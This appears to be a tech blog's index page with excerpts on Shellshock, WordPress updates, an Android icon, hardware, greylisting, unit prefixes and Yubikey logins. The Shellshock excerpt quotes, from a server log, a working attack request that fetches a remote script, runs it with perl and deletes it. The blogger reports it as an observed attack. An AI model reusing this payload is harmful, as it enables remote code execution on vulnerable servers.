Shellshock Bash hack

The well-known (now) Bash vulnerability (CVE-2014-6271) has been used in the wild in the last week. Here is a snippet from the log files: 174.143.168.121 “GET //cgi-bin/bash HTTP/1.0″ 301 “() { :;}; /bin/bash -c \”wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\”” What the above crafted web request (received from cloud-ips.com) do is to:… Read More »

WordPress update failed

Today I was trying to update the plugins of multi-website WordPress installation under Ubuntu. And I was surprised by input your FTP credentials page. I don’t use FTP, it was supposed to be working without it. For some reason it needed the following line added into “wp-config.php”: define( ‘FS_METHOD’, ‘direct’ ); The line above forces direct… Read More »

Get rid of undesired APK icon

For almost a month now I am a proud owner of Google`s Nexus 4 smartphone. I had to switch from the stock Email client to K-9 Mail application. What really bugged me up was the dog-envelope icon K-9 developers had chosen. In my thinking it was not appropriate for an email client at all. So,… Read More »

CPU upgrade

I have been looking for a CPU upgrade for some time, but since my Mobo is quite old socket AM2+ I was quite limited in what I can get. The best option was AMD Phenom X6 1100T, which is running at stock 3300GHz speed, and also supports Turbo-core at 3700GHz. Going beyond that would have… Read More »

Micro-Stuttering effect

Have you got a nice graphical card (and expensive one too) to put it in good use within your computer, which turned out not to be so good for gaming after all (hint, hint Crysis at max settings.) Then you decided to see yourself with a second identical card just to enable SLI / Crossfile… Read More »

The Scale of the Universe

Zoom from the edge of the universe to the quantum foam of space-time and learn the scale of things along the way! Learn the size of the Pillars of Creation and marvel at the minuscule scale of a neutrino! http://www.newgrounds.com/portal/view/525347

Greylisting explained

Well, I bet you know what a SPAM e-mail message is, so I am not going to explain it to you. I will show you rather how to fight SPAM. One of the most powerful tools against SPAM to chose from is the Greylisting. And it happens that the last day there was a SPAM… Read More »

1billion <> 1billion

A friend asked me why in one of my programs I am counting transferred bytes in KiB and MiB-s; why I am not using easy-for-read Kb, MB, GB prefixes we all are familiar with? And the answer is… because it is just NOT right! More detailed explanation after the jump: http://lpar.ath0.com/2008/07/15/si-unit-prefixes-a-plea-for-sanity/ “Everyone knows that 1MB… Read More »

2-Factor Yubikey Authentication

Since I just received my Yubikey from Yubico I was eager using it, so I decided to start with my WP blog. It turned out to be an easy 2-step process once I’ve installed YubiKey WordPress plug-in: Enabled the plug-in and entered the yubico API key info from here; Entered my Yubikey OTP in my… Read More »